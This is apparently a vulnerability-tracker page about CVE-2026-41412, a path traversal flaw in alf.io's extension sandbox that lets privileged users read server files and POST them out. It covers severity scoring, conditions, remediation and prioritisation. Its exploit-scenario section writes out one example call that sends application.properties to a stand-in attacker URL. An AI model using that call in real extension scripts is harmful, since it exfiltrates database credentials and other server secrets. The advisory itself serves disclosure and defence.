Skip to main content

alf.io CVE-2026-41412

MEDIUM
Path Traversal (CWE-22)
2026-06-02 security-advisories@github.com
4.9
CVSS 3.1 · Vendor: github
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Obtain high-privilege alf.io extension access
  2. Delivery
    Create or modify extension script
  3. Exploit
    Call postFileAndSaveResponse() with arbitrary file path
  4. Execution
    JVM reads target file via unrestricted FileInputStream
  5. Impact
    HTTP POST transmits file contents to attacker-controlled server

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V5 - File Handling Path canonicalization, traversal prevention
MITRE ATT&CK

2 techniques across 2 tactics: Discovery, Collection

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires that the attacker possess high-privilege access within alf.io sufficient to create or modify extension scripts, as confirmed by the PR:H component of the CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N vector. The alf.io extension feature must be actively deployed and the attacker must have the ability to install, edit, or inject an extension script - this is not a default out-of-the-box condition but requires deliberate administrative enablement of the extension system. Once extension access is obtained, no additional configuration is required because simpleHttpClient is automatically injected into every extension script scope by the platform. Exploitation is further bounded by OS-level file permissions: only files readable by the OS user running the alf.io JVM process are accessible, so files protected by stricter OS permissions are not reachable. Additionally, successful exfiltration requires outbound HTTP connectivity from the alf.io server to an attacker-controlled endpoint; network egress filtering that blocks unexpected outbound connections would prevent data leaving the host even if the file read succeeds.

Impact

The CVSS 3.1 base score of 4.9 (Medium) is driven by the PR:H (High Privileges Required) component, which anchors the score below High despite AV:N/AC:L/C:H - a combination that would otherwise rate much higher. The network attack vector and low complexity mean that once the prerequisite privilege is satisfied, exploitation is trivial and requires no user interaction. The confidentiality impact is rated High, reflecting that any file readable by the JVM process is fully disclosed; integrity and availability are unaffected. No EPSS score was available in the source data, so probability-of-exploitation-in-the-wild cannot be quantified. This CVE is not listed in the CISA KEV catalog, and no POC exploit has been identified. In practice, the PR:H constraint is the single most important mitigating factor: only principals with extension creation or modification rights can trigger the vulnerability. However, in deployments where multiple administrators share extension management access, or where a privileged account is compromised through credential theft, the impact escalates sharply - exfiltrated files may include secrets that enable full system compromise far beyond the scope of this CVE alone. Real-world priority should be rated higher than the CVSS score suggests for any organization running alf.io with an active extension ecosystem.

Exploit ScenarioDerived

An attacker who has compromised or co-opted a high-privileged alf.io account with extension management rights creates or edits an extension script that invokes simpleHttpClient.postFileAndSaveResponse('/path/to/application.properties', 'https://attacker.example.com/collect'). The alf.io JVM opens the target file via an unrestricted FileInputStream and HTTP-POSTs its raw contents to the attacker's endpoint, potentially exposing database connection strings, API keys, or other secrets stored on the server filesystem. No public POC has been identified, but the exploit primitive is straightforward for anyone with extension script access and knowledge of the advisory.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
No patch listed yet 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 02, 2026

Arbitrary file read via path traversal in alf.io's extension sandbox allows a high-privileged user to silently exfiltrate any file accessible to the JVM process to an attacker-controlled server. All versions prior to 2.0-M5-2606 automatically inject an unrestricted simpleHttpClient into every extension script scope, where postFileAndSaveResponse() constructs a raw FileInputStream from a caller-supplied path with no validation, directory restriction, or allowlist. No public exploit identified at time of analysis; the PR:H CVSS prerequisite (extension management rights) meaningfully constrains the attack surface but does not eliminate risk, particularly in multi-tenant or insider-threat scenarios.

RemediationAI

Upgrade alf.io to version 2.0-M5-2606 or later, which is the vendor-confirmed patched release documented at https://github.com/alfio-event/alf.io/security/advisories/GHSA-6m62-53cw-4373. If immediate upgrade is not feasible, restrict extension creation and modification rights to the smallest possible set of fully trusted administrators, since PR:H access to the extension system is the sole prerequisite for exploitation - reducing that attack surface directly reduces risk. As an additional compensating control, run the alf.io JVM process under a dedicated least-privilege OS user with a tightly scoped filesystem footprint, limiting which files are exposed even if the vulnerability is triggered; note this does not prevent exploitation but caps the blast radius of any exfiltration. Where network egress controls are available, restrict outbound HTTP/HTTPS connections from the alf.io host to known-good destinations, which would block the exfiltration step even if the file read is completed. Be aware that disabling the extension feature entirely, if operationally acceptable, eliminates the attack surface entirely.

Affected ProductsAI

All alf.io releases prior to version 2.0-M5-2606 are affected. The vulnerability resides in the extension sandbox component, which is part of the core platform and present across the pre-release milestone series. No CPE string was provided in the available source data; affected instances should be identified by comparing the deployed version against the patched release. Full details are documented in the vendor GitHub Security Advisory at https://github.com/alfio-event/alf.io/security/advisories/GHSA-6m62-53cw-4373.

Affects your stack

Find out whether the stacks and servers you run are on an affected version.

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

alf.io is a Java-based open source event ticketing and reservation platform that exposes a scripting extension system for customizing platform behavior. The sandbox runtime injects a helper object, simpleHttpClient, into every extension script's execution scope. The postFileAndSaveResponse() method within this client directly instantiates a java.io.FileInputStream using the caller-supplied file parameter as a raw string path, performing no canonical path resolution, no parent-directory allowlist check, and no chroot-style restriction. This is a textbook CWE-22 (Improper Limitation of a Pathname to a Restricted Directory - Path Traversal) flaw: the method trusts the caller-controlled input to stay within an intended directory, but no enforcement mechanism enforces that assumption. Because the read occurs in the context of the JVM process user, any file that OS-level permissions expose to that user - application configuration files, database credentials, TLS private keys, cloud provider tokens, or OS files such as /etc/passwd - can be read and exfiltrated via HTTP POST to an arbitrary endpoint. No CPE string was present in the source data; affected versions are identified by the GitHub advisory as all releases prior to 2.0-M5-2606.

Know when the next one hits your stack

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (github) PRIMARY 4.9 MEDIUM
AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N

Primary rating from Vendor (github) · only source for this CVE.

CVSS VectorVendor: github

Attack Vector
Network
Attack Complexity
Low
Privileges Required
High
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
None

DescriptionCVE.org

alf.io is an open source ticket reservation system for conferences, trade shows, workshops, and meetups. Prior to version 2.0-M5-2606, the alf.io extension sandbox injects a fully-functional HTTP client (simpleHttpClient) into every extension script's scope. The postFileAndSaveResponse() method accepts an arbitrary filesystem path as its file parameter and reads the file contents using new FileInputStream(file) with no path validation, directory restriction, or allowlist. A malicious extension script can read any file accessible to the JVM process user and exfiltrate it to an attacker-controlled server via HTTP POST. Version 2.0-M5-2606 patches the issue.

Threat Intelligence Overview

EPSS Score
0.0%
Top 84% exploitable
Social Media
1
Sightings
Data Quality
6 sources
Confidence: High
NVD CVE.org EPSS Vulnrichment CIRCL GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.0%
Patch available No
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

24
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +24
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Path traversal exploits occur when applications use user-controlled input to construct file system paths without proper validation.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy